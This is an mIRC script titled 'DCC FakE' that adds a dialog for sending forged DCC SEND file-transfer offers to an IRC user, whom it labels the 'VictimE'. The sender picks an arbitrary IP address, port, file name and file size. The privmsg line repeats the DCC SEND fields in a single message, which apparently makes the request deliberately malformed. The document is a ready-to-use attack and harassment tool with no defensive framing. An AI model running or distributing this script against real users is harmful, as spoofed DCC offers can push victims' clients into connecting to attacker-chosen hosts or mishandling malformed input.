DCC FAKE

menu nicklist {
  DCC FakE:/dialog -m dccfake dccfake
}
menu query {
  DCC FakE:/dialog -m dccfake dccfake
}
dialog dccfake {
  title "DCC FakE By RysSAlphA"
  size -1 -1 168 111
  option dbu
  box "VictimE", 1, 6 3 76 31
  edit "", 2, 26 10 50 10, autohs
  text "NicK :", 3, 9 12 16 8
  button "NicKLisT SelecT ", 4, 28 22 46 9
  box "FichieR A SenD", 5, 6 35 76 74
  edit "", 6, 9 53 70 10, autohs
  text "NoM Du FichieR :", 7, 10 45 44 8
  text "TaillE :", 9, 10 64 25 8
  box "Ip && PorT", 10, 86 3 80 50
  text "IP  :", 11, 90 14 11 8
  edit "", 60, 88 23 18 10, limit 3
  edit "", 61, 107 23 18 10, limit 3
  edit "", 62, 126 23 18 10, limit 3
  edit "", 63, 145 23 18 10, limit 3
  edit "", 64, 107 36 35 10  
  edit "", 18, 10 75 50 10,autohs
  edit "", 19, 10 92 50 10,autohs read
  text "Bytes", 21, 62 76 17 8
  text "Kbytes", 22, 61 93 18 8
  text "PorT : ", 23, 92 37 17 8
  button "TaillE OfF", 25, 39 64 37 10
  button "ReseT", 26, 86 55 80 14
  button "SenD", 27, 86 69 80 38,default
  button "" ,70,0 0 0 0,ok
  button "Kb", 28, 10 85 16 7
  button "Mb", 29, 26 85 16 7
  button "Gb", 30, 42 85 16 7
  text "=", 31, 67 85 10 8
}
on *:dialog:dccfake:init:*:{
  did -ra dccfake 2 $snick($active,1)
  set %dccfake.stat.unit k
  did -b dccfake 28
}
on *:dialog:dccfake:sclick:*:{
  if ($did == 4) did -ra dccfake 2 $snick($active,1)
  if ($did == 25) {
    if ( $did(25) == TaillE OfF ) { did -a dccfake 25 TaillE On | did -b dccfake 18,19 }
    elseif ( $did(25) == TaillE On ) { did -a dccfake 25 TaillE OfF | did -e dccfake 18,19 }
  }
  if ($did == 26) did -r dccfake 2,6,18,19,60,61,62,63,64 
  if ($did == 27) {
    privmsg $did(2) $chr(1) $+ DCC SEND $did(6) $longip($did(60) $+ . $+ $did(61) $+ . $+ $did(62) $+ . $+ $did(63))) $did(64) $iif($did(25) == TaillE OfF,$did(18)) SEND $did(6) $longip($did(60) $+ . $+ $did(61) $+ . $+ $did(62) $+ . $+ $did(63))) $did(64) $iif($did(25) == TaillE OfF,$did(18)) $+ $chr(1)
    echo -at 2DCC FAKE SEND To 12[3 $did(2) 12]1 , 2AveC L'IP 12[3  $did(60) $+ . $+ $did(61) $+ . $+ $did(62) $+ . $+ $did(63) 12]1 , 2PorT 12[3  $did(64) 12]1 , 2FichieR 12[3  $did(6) 12]1 , 2TaillE 12[3  $iif($did(25) == TaillE OfF,$did(18) ByteS) $iif($did(25) == TaillE On, n/a ByteS ) 12]1
  }
  if ($did == 28) {
    set %dccfake.stat.unit k
    did -b dccfake 28
    did -e dccfake 29,30
    did -ar dccfake 22 Kbytes
    did -ar dccfake 19 $bytes($did(18),%dccfake.stat.unit)  
  }
  if ($did == 29) {
    set %dccfake.stat.unit m
    did -b dccfake 29
    did -e dccfake 30,28
    did -ar dccfake 22 Mbytes
    did -ar dccfake 19 $bytes($did(18),%dccfake.stat.unit)
  }
  if ($did == 30) {
    set %dccfake.stat.unit g
    did -b dccfake 30
    did -e dccfake 29,28
    did -ar dccfake 22 Gbytes
    did -ar dccfake 19 $bytes($did(18),%dccfake.stat.unit)  
  }
}
on *:dialog:dccfake:edit:18:did -ar dccfake 19 $bytes($did(18),%dccfake.stat.unit)